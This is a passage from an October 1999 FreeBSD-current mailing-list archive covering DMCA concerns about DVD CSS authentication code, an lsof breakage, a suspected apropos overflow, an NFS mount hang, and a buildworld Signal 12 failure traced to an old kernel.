"pccardc dumpcis"? Jun Kuriyama // kuriyama@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 6:35:26 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id D208C14BF7 for ; Wed, 27 Oct 1999 06:35:18 -0700 (PDT) (envelope-from gadde@cs.duke.edu) Received: from timber.cs.duke.edu (timber.cs.duke.edu [152.3.140.46]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id JAA20109 for ; Wed, 27 Oct 1999 09:35:16 -0400 (EDT) Received: (gadde@localhost) by timber.cs.duke.edu (8.8.5/8.6.9) id JAA28934 for current@FreeBSD.ORG; Wed, 27 Oct 1999 09:35:16 -0400 (EDT) Date: Wed, 27 Oct 1999 09:35:15 -0400 From: Syam Gadde To: current@FreeBSD.ORG Subject: Re: CSS authentication for DVD-ROMs Message-ID: <19991027093515.A28928@timber.cs.duke.edu> References: <199910270617.XAA15707@kithrup.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <199910270617.XAA15707@kithrup.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Quoting Sean Eric Fagan (sef@kithrup.com): > I looked at the slashdot posts, and was surprised (I guess) to see that nobody > seems to know about the Digital Millennium Copyright Act. Part of which makes > it a copyright violation (at $2500/copy distributed) to "manufacture or > distribute technology" which can be used to bypass encryption of digital > works. E.g., DVDs. > > I'm reasonably sure that parts of this will be struck down for constitutional > reasons, but until it is... it's a very risky thing to do. The "technology" would refer to the user-level programs in this case. It should be made clear, I suppose, that any kernel support should implement the packet commands in an (open?) spec; to wit, Windows also has "technology which can be used to bypass encryption of digital works"... a device driver. -syam To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 7: 3:50 1999 Delivered-To: freebsd-current@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id C78F914A1D for ; Wed, 27 Oct 1999 07:03:46 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost [127.0.0.1]) by picnic.mat.net (8.9.3/8.9.3) with ESMTP id KAA12691 for ; Wed, 27 Oct 1999 10:03:25 -0400 (EDT) (envelope-from chuckr@picnic.mat.net) Date: Wed, 27 Oct 1999 10:03:24 -0400 (EDT) From: Chuck Robey To: current@freebsd.org Subject: lsof + namecache Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Lsof is broken. It looks like it was broken because of a commit that PHK did, on namei.h, which removed the definition of the namecache struct from public visibility. According to the comments, the commit was the first part of some larger plan, but I don't see what it is. It's been 3 weeks now since the commit. I already wrote Poul about it, but he hasn't seen my email yet, I guess. Does anyone know the direction this was going in, and what visibility the namecache is intended to have? ---------------------------------------------------------------------------- Chuck Robey | Interests include C programming, Electronics, 213 Lakeside Dr. Apt. T-1 | communications, and signal processing. Greenbelt, MD 20770 | I run picnic.mat.net: FreeBSD-current(i386) and (301) 220-2114 | jaunt.mat.net : FreeBSD-current(Alpha) ---------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 7:30:48 1999 Delivered-To: freebsd-current@freebsd.org Received: from indyio.rz.uni-sb.de (indyio.rz.uni-sb.de [134.96.7.3]) by hub.freebsd.org (Postfix) with ESMTP id 2BD6414C92 for ; Wed, 27 Oct 1999 07:30:34 -0700 (PDT) (envelope-from netchild@Vodix.CS.Uni-SB.de) Received: from mars.rz.uni-sb.de (ns0.rz.uni-sb.de [134.96.7.5]) by indyio.rz.uni-sb.de (8.9.3/8.9.3) with ESMTP id QAA7128390 for ; Wed, 27 Oct 1999 16:30:33 +0200 (CST) Received: from work.net.local (maxtnt-140.telip.uni-sb.de [134.96.71.11]) by mars.rz.uni-sb.de (8.8.8/8.8.4/8.8.2) with ESMTP id QAA15425 for ; Wed, 27 Oct 1999 16:30:32 +0200 (CST) Received: from Vodix.CS.Uni-SB.de (netchild@localhost.net.local [127.0.0.1]) by work.net.local (8.9.3/8.9.3) with ESMTP id QAA01056 for ; Wed, 27 Oct 1999 16:25:21 +0200 (CEST) (envelope-from netchild@Vodix.CS.Uni-SB.de) Message-Id: <199910271425.QAA01056@work.net.local> Date: Wed, 27 Oct 1999 16:25:20 +0200 (CEST) From: A.Leidinger@WJPServer.CS.Uni-SB.de Subject: Buffer overflow with "apropos"? To: current@freebsd.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8BIT Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, (108) netchild@ttyp1 > apropos mtools ---snip--- mtools(5), mtools.conf(5) - mtools configuration files Description This manpage describes the configuration files for mtools. They are called f(CW(if/usr/local/ usr/local/etc/mtools.conf(is and f(CW(if~/.mtoolsrc(is. If the environmental var iable f(CWMTOOLSRC is set, its contents is used as the filename for a third conf iguration file. These configuration files describe the following items: DNS DxDi ag01.txt Hits.ps Makefile.freebsd NFS4_cars.ps NetBeans bin bücher.txt bücher.tx t~ bücher2.txt cheap-list1.html cheap-list2.html cheap-list3.html cheap-list4.ht ---snip--- Compare the last lines with this: ---snip--- (105) netchild@ttyp2 > ls DNS cheap-list3.html lame3.35beta.tar.gz DxDiag01.txt cheap-list4.html link_check.html ---snip--- (109) netchild@ttyp1 > uname -a FreeBSD work.net.local 4.0-CURRENT FreeBSD 4.0-CURRENT #8: Wed Oct 27 12:39:59 CEST 1999 root@work.net.local:/usr/src/sys/compile/WORK i386 Bye, Alexander. -- Capital punishment means never having to say "YOU AGAIN?" http://netchild.home.pages.de A.Leidinger+Home @ WJPServer.CS.Uni-SB.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 8:23:15 1999 Delivered-To: freebsd-current@freebsd.org Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by hub.freebsd.org (Postfix) with ESMTP id B6F371501C for ; Wed, 27 Oct 1999 08:22:34 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (grog@localhost) by mojave.worldwide.lemis.com (8.9.3/8.6.12) id JAA00911; Wed, 27 Oct 1999 09:35:59 -0400 (EDT) Message-ID: <19991027093559.12443@mojave.worldwide.lemis.com> Date: Wed, 27 Oct 1999 09:35:59 -0400 From: Greg Lehey To: "Daniel O'Connor" , freebsd-current@FreeBSD.ORG Subject: Re: mount_nfs hanging in sbwait References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Daniel O'Connor on Wed, Oct 27, 1999 at 10:00:38AM +0930 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 27 October 1999 at 10:00:38 +0930, Daniel O'Connor wrote: > Hi, > I upgraded my -current box a few days ago, and now whenever I boot > it hangs mounting the NFS FS's.. Pressing ctrl-T reveals its stuck > in sbwait, if I press ctrl-C then it finishes booting, and all the > NFS mounts work except one :-/ > > Also, when I run gqmpeg I notice it will start playing one song (and > actually play it because another process does the work), get stuck > in sbwait and then I will not be able to do anything with it. > > I realise the problem report is very vague, but I have no idea where > to look! I've attached my kernel config file and dmesg.boot file. Is midget dual-hosted? There's a problem there: you play Russian Roulette chosing the IP address you mount from, but the reply always comes from the local net. See kern/9612 for more details. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 11:21:18 1999 Delivered-To: freebsd-current@freebsd.org Received: from uni4nn.gn.iaf.nl (osmium.gn.iaf.nl [193.67.144.12]) by hub.freebsd.org (Postfix) with ESMTP id 574B114C8E for ; Wed, 27 Oct 1999 11:21:12 -0700 (PDT) (envelope-from wilko@yedi.iaf.nl) Received: from yedi.iaf.nl (uucp@localhost) by uni4nn.gn.iaf.nl (8.9.2/8.9.2) with UUCP id UAA01700 for current@FreeBSD.ORG; Wed, 27 Oct 1999 20:12:16 +0200 (MET DST) Received: (from wilko@localhost) by yedi.iaf.nl (8.9.3/8.9.3) id UAA01021; Wed, 27 Oct 1999 20:09:37 +0200 (CEST) (envelope-from wilko) From: Wilko Bulte Message-Id: <199910271809.UAA01021@yedi.iaf.nl> Subject: Re: CSS authentication for DVD-ROMs In-Reply-To: <199910270617.XAA15707@kithrup.com> from Sean Eric Fagan at "Oct 26, 1999 11:17:36 pm" To: current@FreeBSD.ORG Date: Wed, 27 Oct 1999 20:09:37 +0200 (CEST) Cc: current@FreeBSD.ORG X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-pgp-info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As Sean Eric Fagan wrote ... > >Given the recent posting of DVD movie decryption code (see Slashdot > >for details), I was wondering if there was interest for code that > >does CSS authentication for DVD-ROM drives. > > I looked at the slashdot posts, and was surprised (I guess) to see that nobody > seems to know about the Digital Millennium Copyright Act. Part of which makes > it a copyright violation (at $2500/copy distributed) to "manufacture or > distribute technology" which can be used to bypass encryption of digital > works. E.g., DVDs. > > I'm reasonably sure that parts of this will be struck down for constitutional > reasons, but until it is... it's a very risky thing to do. Sounds like the NSA is in violation all the time? Insert half ;-) here.. -- | / o / / _ Arnhem, The Netherlands - Powered by FreeBSD - |/|/ / / /( (_) Bulte WWW : http://www.tcja.nl http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 12:26:59 1999 Delivered-To: freebsd-current@freebsd.org Received: from virtual.nextra.sk (virtual.nextra.sk [195.168.1.22]) by hub.freebsd.org (Postfix) with SMTP id CF56A154A0 for ; Wed, 27 Oct 1999 12:26:17 -0700 (PDT) (envelope-from tps@ncc.nextra.sk) Received: (qmail 87532 invoked by uid 1); 27 Oct 1999 19:26:16 -0000 Received: from fw.in.nextra.sk (HELO tps) (195.168.29.2) by virtual.nextra.sk with SMTP; 27 Oct 1999 19:26:16 -0000 Reply-To: From: "Tomas TPS Ulej" To: Subject: make buildworld problem... Date: Wed, 27 Oct 1999 21:26:14 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From today's cvsup: cd /usr/src ; make clean ; make buildworld [snip] rm -f .depend /usr/obj/shared1/FreeBSD/src/gnu/lib/libgcc/GPATH /usr/obj/shared1/FreeBSD/src/gnu/lib/libgcc/GRTAGS /usr/obj/shared1/FreeBSD/src/gnu/lib/libgcc/GSYMS /usr/obj/shared1/FreeBSD/src/gnu/lib/libgcc/GTAGS echo '#include ' > config.h echo '#include ' >> config.h echo '#include "i386/xm-i386.h"' > tconfig.h echo '#include "i386/i386.h"' > tm.h echo '#include "i386/att.h"' >> tm.h echo '#include "i386/freebsd.h"' >> tm.h echo '#include "i386/perform.h"' >> tm.h cc -c -O -pipe -I/shared1/FreeBSD/src/gnu/lib/libgcc/../../../contrib/egcs/g cc/config -I/shared1/FreeBSD/src/gnu/lib/libgcc/../../../contrib/egcs/gcc -I . -fexceptions -DIN_GCC -I/usr/obj/shared1/FreeBSD/src/tmp/usr/include -DL_m ulsi3 -o _mulsi3.o /shared1/FreeBSD/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c *** Signal 12 Stop in /shared1/FreeBSD/src/gnu/lib/libgcc. *** Error code 1 Stop in /shared1/FreeBSD/src. *** Error code 1 -- Tomas TPS Ulej Network Administrator NEXTRA by Telenor Internet more? http://www.ripe.net/cgi-bin/whois?tu36-ripe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 12:28: 4 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id D01F714F1C for ; Wed, 27 Oct 1999 12:28:01 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id MAA35915; Wed, 27 Oct 1999 12:28:01 -0700 (PDT) (envelope-from dillon) Date: Wed, 27 Oct 1999 12:28:01 -0700 (PDT) From: Matthew Dillon Message-Id: <199910271928.MAA35915@apollo.backplane.com> To: freebsd-current@FreeBSD.ORG Subject: minor heads up - /etc/make.conf{,.local} being moved Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG (Approved by jkh) /etc/make.conf.local will become /etc/make.conf and /etc/make.conf will become /etc/defaults/make.conf. This change is long overdue. The sys.mk adjustment has already been committed. An email has been sent to the CVS meisters to get /usr/src/etc/make.conf moved. make will dump out with an appropriate error and instructions if you update your source tree and still have an /etc/make.conf.local. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 12:57:59 1999 Delivered-To: freebsd-current@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id 0B7E31519F; Wed, 27 Oct 1999 12:56:45 -0700 (PDT) (envelope-from nik@nothing-going-on.demon.co.uk) Received: from kilt.nothing-going-on.org (kilt.nothing-going-on.org [192.168.1.18]) by nothing-going-on.demon.co.uk (8.9.3/8.9.3) with ESMTP id UAA11778; Wed, 27 Oct 1999 20:43:06 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Received: (from nik@localhost) by kilt.nothing-going-on.org (8.9.3/8.9.3) id IAA04177; Wed, 27 Oct 1999 08:12:44 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Date: Wed, 27 Oct 1999 08:12:44 +0100 From: Nik Clayton To: Conrad Sabatier Cc: Nik Clayton , freebsd-current@freebsd.org Subject: Re: Info needed re: new userconfig scripting and PnP Message-ID: <19991027081244.A3907@kilt.nothing-going-on.org> References: <19991025173706.A6022@kilt.nothing-going-on.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Conrad Sabatier on Tue, Oct 26, 1999 at 06:50:11AM -0500 Organization: FreeBSD Project Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 26, 1999 at 06:50:11AM -0500, Conrad Sabatier wrote: > I would be most honored, kind sir. :-) > > Just let me update it first, based on this recently acquired > information re: -current. Then, to whom should I submit it? send-pr, including a URL to the DocBook source is the best way. N To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 13:11:43 1999 Delivered-To: freebsd-current@freebsd.org Received: from virtual.nextra.sk (virtual.nextra.sk [195.168.1.22]) by hub.freebsd.org (Postfix) with SMTP id 7E1FA14BF7 for ; Wed, 27 Oct 1999 13:11:33 -0700 (PDT) (envelope-from tps@ncc.nextra.sk) Received: (qmail 89292 invoked by uid 1); 27 Oct 1999 20:11:32 -0000 Received: from fw.in.nextra.sk (HELO tps) (195.168.29.2) by virtual.nextra.sk with SMTP; 27 Oct 1999 20:11:32 -0000 Reply-To: From: "Tomas TPS Ulej" To: Subject: RE: make buildworld problem... Date: Wed, 27 Oct 1999 22:11:27 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <19991027145948.A504@mpp.pro-ns.net> Importance: Normal Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG My last update was from: Sep 14 20:24:31 My kernel is: root@[space /usr/src] # uname -a FreeBSD space.nextra.sk 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Tue Sep 14 20:24:31 GMT 1999 root@space.netlab.sk:/shared1/src/sys/compile/tps-common i386 -- Tomas TPS Ulej Network Administrator NEXTRA by Telenor Internet more? http://www.ripe.net/cgi-bin/whois?tu36-ripe > -----Original Message----- > From: Mike Pritchard [mailto:mpp@mpp.pro-ns.net] > Sent: Wednesday, October 27, 1999 10:00 PM > To: Tomas TPS Ulej > Subject: Re: make buildworld problem... > > > How old is your kernel? This looks like what you see when you > try and do a buildworld without a -current kernel after all > of the recent signal changes. > > -Mike > > On Wed, Oct 27, 1999 at 09:26:14PM +0200, Tomas TPS Ulej wrote: > > >From today's cvsup: > > > > cd /usr/src ; make clean ; make buildworld > > > > [snip] > > > > rm -f .depend /usr/obj/shared1/FreeBSD/src/gnu/lib/libgcc/GPATH > > /usr/obj/shared1/FreeBSD/src/gnu/lib/libgcc/GRTAGS > > /usr/obj/shared1/FreeBSD/src/gnu/lib/libgcc/GSYMS > > /usr/obj/shared1/FreeBSD/src/gnu/lib/libgcc/GTAGS > > echo '#include ' > config.h > > echo '#include ' >> config.h > > echo '#include "i386/xm-i386.h"' > tconfig.h > > echo '#include "i386/i386.h"' > tm.h > > echo '#include "i386/att.h"' >> tm.h > > echo '#include "i386/freebsd.h"' >> tm.h > > echo '#include "i386/perform.h"' >> tm.h > > cc -c -O -pipe > -I/shared1/FreeBSD/src/gnu/lib/libgcc/../../../contrib/egcs/g > > cc/config > -I/shared1/FreeBSD/src/gnu/lib/libgcc/../../../contrib/egcs/gcc -I > > . -fexceptions -DIN_GCC > -I/usr/obj/shared1/FreeBSD/src/tmp/usr/include -DL_m > > ulsi3 -o _mulsi3.o > > /shared1/FreeBSD/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c > > *** Signal 12 > > > > Stop in /shared1/FreeBSD/src/gnu/lib/libgcc. > > *** Error code 1 > > > > Stop in /shared1/FreeBSD/src. > > *** Error code 1 > > > > -- > > Tomas TPS Ulej > > Network Administrator > > NEXTRA by Telenor Internet > > more? http://www.ripe.net/cgi-bin/whois?tu36-ripe > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-current" in the body of the message > > -- > Mike Pritchard > mpp@FreeBSD.org or mpp@mpp.pro-ns.net > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 13:43:27 1999 Delivered-To: freebsd-current@freebsd.org Received: from gw-nl4.philips.com (gw-nl4.philips.com [192.68.44.36]) by hub.freebsd.org (Postfix) with ESMTP id 5DA8814BFC for ; Wed, 27 Oct 1999 13:43:20 -0700 (PDT) (envelope-from Jos.Backus@nl.origin-it.com) Received: from smtprelay-nl1.philips.com (localhost.philips.com [127.0.0.1]) by gw-nl4.philips.com with ESMTP id WAA24995 for ; Wed, 27 Oct 1999 22:43:16 +0200 (MEST) (envelope-from Jos.Backus@nl.origin-it.com) Received: from smtprelay-eur1.philips.com(130.139.36.3) by gw-nl4.philips.com via mwrap (4.0a) id xma024993; Wed, 27 Oct 99 22:43:16 +0200 Received: from hal.mpn.cp.philips.com (hal.mpn.cp.philips.com [130.139.64.195]) by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with SMTP id WAA18659 for ; Wed, 27 Oct 1999 22:43:15 +0200 (MET DST) Received: (qmail 28199 invoked by uid 666); 27 Oct 1999 20:43:36 -0000 Date: Wed, 27 Oct 1999 22:43:36 +0200 From: Jos Backus To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG Subject: Re: cleanup complete / trek73 Message-ID: <19991027224336.A28103@hal.mpn.cp.philips.com> Reply-To: Jos Backus References: <199910240822.BAA04463@mina.sr.hp.com> <199910261938.MAA20577@apollo.backplane.com> <19991026235222.B3705@hal.mpn.cp.philips.com> <199910270303.UAA21924@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <199910270303.UAA21924@apollo.backplane.com>; from dillon@apollo.backplane.com on Tue, Oct 26, 1999 at 08:03:35PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 26, 1999 at 08:03:35PM -0700, Matthew Dillon wrote: > Yes, I'll do a cpdup port too. Thanks, Matt! I know plenty of people that will find this useful. -- Jos Backus _/ _/_/_/ "Reliability means never _/ _/ _/ having to say you're sorry." _/ _/_/_/ -- D. J. Bernstein _/ _/ _/ _/ Jos.Backus@nl.origin-it.com _/_/ _/_/_/ use Std::Disclaimer; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 14:36:57 1999 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id DEFD914E0E for ; Wed, 27 Oct 1999 14:36:55 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@d60-025.leach.ucdavis.edu [169.237.60.25]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id OAA15265; Wed, 27 Oct 1999 14:36:54 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id OAA21759; Wed, 27 Oct 1999 14:36:53 -0700 (PDT) (envelope-from obrien) Date: Wed, 27 Oct 1999 14:36:53 -0700 From: "David O'Brien" To: Tomas TPS Ulej Cc: freebsd-current@freebsd.org Subject: Re: make buildworld problem... Message-ID: <19991027143653.B21727@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from tps@ncc.nextra.sk on Wed, Oct 27, 1999 at 09:26:14PM +0200 X-Operating-System: FreeBSD 4.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > /shared1/FreeBSD/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c > *** Signal 12 > Stop in /shared1/FreeBSD/src/gnu/lib/libgcc. > *** Error code 1 RTFML (Read The FINE Mailing List)!! This has come up for the past many weeks. You need to build a kernel BEFORE your ``make world''. IF you are going to run -CURRENT, you need to read this list. (/me wonders how many MORE times we are going to have to say this because of the signal changes...) -- -- David (obrien@NUXI.com) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 15:22:58 1999 Delivered-To: freebsd-current@freebsd.org Received: from mail.utexas.edu (wb2-a.mail.utexas.edu [128.83.126.136]) by hub.freebsd.org (Postfix) with SMTP id 9892014A11 for ; Wed, 27 Oct 1999 15:22:50 -0700 (PDT) (envelope-from rkw@dataplex.net) Received: (qmail 9736 invoked by uid 0); 27 Oct 1999 22:22:47 -0000 Received: from dial-127-22.ots.utexas.edu (HELO nomad.dataplex.net) (128.83.46.118) by umbs-smtp-2 with SMTP; 27 Oct 1999 22:22:47 -0000 From: Richard Wackerbarth To: obrien@FreeBSD.ORG Subject: Re: make buildworld problem... Date: Wed, 27 Oct 1999 16:52:03 -0500 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain Cc: freebsd-current@FreeBSD.ORG References: <19991027143653.B21727@dragon.nuxi.com> In-Reply-To: <19991027143653.B21727@dragon.nuxi.com> MIME-Version: 1.0 Message-Id: <99102716575500.12748@nomad.dataplex.net> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 27 Oct 1999, David O'Brien wrote: > IF you are going to run -CURRENT, you need to read this list. > (/me wonders how many MORE times we are going to have to say this because > of the signal changes...) So why not automate a warning? In the current Makefiles, make the build depend upon the existence of a file that we create only if the kernel is sufficiently new. If the file is not present, issue an error message. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 16:11:39 1999 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id F202214E08 for ; Wed, 27 Oct 1999 16:11:34 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40344>; Thu, 28 Oct 1999 09:06:31 +1000 Content-return: prohibited Date: Thu, 28 Oct 1999 09:11:23 +1000 From: Peter Jeremy Subject: Re: make buildworld problem... In-reply-to: <19991027143653.B21727@dragon.nuxi.com> To: freebsd-current@FreeBSD.ORG Reply-To: peter.jeremy@alcatel.com.au Message-Id: <99Oct28.090631est.40344@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0pre3i Content-type: text/plain; charset=us-ascii References: <19991027143653.B21727@dragon.nuxi.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 1999-Oct-28 07:36:53 +1000, David O'Brien wrote: >IF you are going to run -CURRENT, you need to read this list. And read /usr/src/UPDATING which also warns about this >(/me wonders how many MORE times we are going to have to say this because >of the signal changes...) A very large number I suspect. IMHO, the correct solution is to for the entire make world process to be re-worked. I believe the process should always be to boot a new kernel first (as bde(?) commented - it's much easier to recover from a broken kernel than a broken world), and then install a new world. Getting there from here is non-trivial - the major problem being that our build process does not adequately differentiate between compiling code that must run now and code that must run with the new kernel. Peter -- Peter Jeremy (VK2PJ) peter.jeremy@alcatel.com.au Alcatel Australia Limited 41 Mandible St Phone: +61 2 9690 5019 ALEXANDRIA NSW 2015 Fax: +61 2 9690 5982 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 27 18:44:58 1999 Delivered-To: freebsd-current@freebsd.org Received: from mail3.atl.bellsouth.net (mail3.atl.bellsouth.net [205.152.0.38]) by hub.freebsd.org (Postfix) with ESMTP id 6C96A14C58 for ; Wed, 27 Oct 1999 18:44:55 -0700 (PDT) (envelope-from wghicks@bellsouth.net) Received: from wghicks.bellsouth.net (host-209-214-64-143.atl.bellsouth.net [209.214.64.143]) by mail3.atl.bellsouth.net (3.3.5alt/0.75.2) with ESMTP id VAA08304; Wed, 27 Oct 1999 21:44:45 -0400 (EDT) Received: from wghicks.bellsouth.net (IDENT:wghicks@localhost [127.0.0.1]) by wghicks.bellsouth.net (8.9.3/8.9.2) with ESMTP id VAA26639; Wed, 27 Oct 1999 21:43:36 -0400 (EDT) (envelope-from wghicks@wghicks.bellsouth.net) Message-Id: <199910280143.VAA26639@bellsouth.net> To: tps@ncc.nextra.sk Cc: freebsd-current@FreeBSD.ORG, wghicks@wghicks.bellsouth.net Subject: Re: make buildworld problem... In-reply-to: Your message of "Wed, 27 Oct 1999 21:26:14 +0200." Date: Wed, 27 Oct 1999 21:43:36 -0400 From: W Gerald Hicks Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > cc -c -O -pipe ^^^^^ <-- try getting rid of this and see what happens. Good Luck, Jerry Hicks wghicks@bellsouth.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 1:24:41 1999 Delivered-To: freebsd-current@freebsd.org Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116]) by hub.freebsd.org (Postfix) with ESMTP id 57F2E14D4D for ; Thu, 28 Oct 1999 01:24:38 -0700 (PDT) (envelope-from freebsd-current@scc.nl) Received: (from daemon@localhost) by mail.scc.nl (8.9.3/8.9.3) id KAA83262 for current@FreeBSD.org; Thu, 28 Oct 1999 10:01:48 +0200 (CEST) (envelope-from freebsd-current@scc.nl) Received: from GATEWAY by dwarf.hq.scc.nl with netnews for current@FreeBSD.org (current@FreeBSD.org) To: current@FreeBSD.org Date: Thu, 28 Oct 1999 10:01:46 +0200 From: Marcel Moolenaar Message-ID: <381802EA.ABA2457E@scc.nl> Organization: SCC vof Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit References: <19991027143653.B21727@dragon.nuxi.com>, 